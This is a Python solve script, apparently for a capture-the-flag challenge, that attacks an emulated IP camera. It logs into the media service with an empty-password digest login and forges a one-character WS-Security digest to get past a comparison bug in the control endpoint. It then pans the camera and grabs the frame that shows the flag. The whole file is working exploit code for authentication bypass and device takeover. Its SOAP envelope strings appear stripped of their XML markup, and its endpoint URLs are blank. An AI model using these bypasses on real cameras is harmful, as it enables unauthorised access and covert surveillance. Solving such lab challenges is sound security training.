#!/usr/bin/env python3 # Full solve: empty-pw media account -> SSCP 1-char digest bypass -> pan -> read flag import base64, hashlib, re, string, requests from PIL import Image # Per-instance endpoints — fill in from the challenge statement. # sscpd = SSCP control (device port 2020); vhttpd = media service (device port 8800). SSCP = "http://:/sscp/device_service" MEDIA = "http://:" REALM = "TPC260" # --- media channel: hub_primary_2 has an EMPTY password ------------------- def media_get(uri, save=None): r = requests.get(MEDIA + uri, timeout=15) if r.status_code == 401: wa = r.headers["WWW-Authenticate"] nonce = re.search(r'nonce="([^"]+)"', wa).group(1) opaque = re.search(r'opaque="([^"]+)"', wa) opaque = opaque.group(1) if opaque else "" H = lambda s: hashlib.sha256(s.encode()).hexdigest() ha1 = H(f"hub_primary_2:{REALM}:") # empty password ha2 = H(f"GET:{uri}") nc, cnonce, qop = "00000001", "0a4f113b", "auth" resp = H(f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}") auth = (f'Digest username="hub_primary_2", realm="{REALM}", nonce="{nonce}", ' f'uri="{uri}", qop={qop}, nc={nc}, cnonce="{cnonce}", ' f'response="{resp}", opaque="{opaque}", algorithm=SHA-256') r = requests.get(MEDIA + uri, headers={"Authorization": auth}, timeout=15) if save and r.ok: open(save, "wb").write(r.content) return r # --- SSCP channel: WS-Security envelope with a forged (prefix) digest ------ NONCE_B64 = "MDEyMzQ1Njc4OWFiY2RlZg==" # any fixed nonce; reuse allowed CREATED = "2026-08-15T00:00:00Z" def sscp(op_xml, digest): env = f''' camera_acc {digest} {NONCE_B64} {CREATED} {op_xml}''' return requests.post(SSCP, data=env.encode(), headers={"Content-Type": "application/soap+xml; charset=utf-8"}, timeout=15).text TDS = 'xmlns:tds="http://www.onvif.org/ver10/device/wsdl"' # 1) find a one-char digest that passes (length-controlled comparison bug) digest = next(c for c in string.ascii_letters + string.digits + "+/" if "NotAuthorized" not in sscp(f'', c)) print("[+] forged 1-char digest:", repr(digest)) # 2) pan toward the acceptance board and 3) capture the rendered frame sscp(f'172.510.0', digest) media_get("/preview", save="flag.png") print("[+] saved flag.png (read the whiteboard)")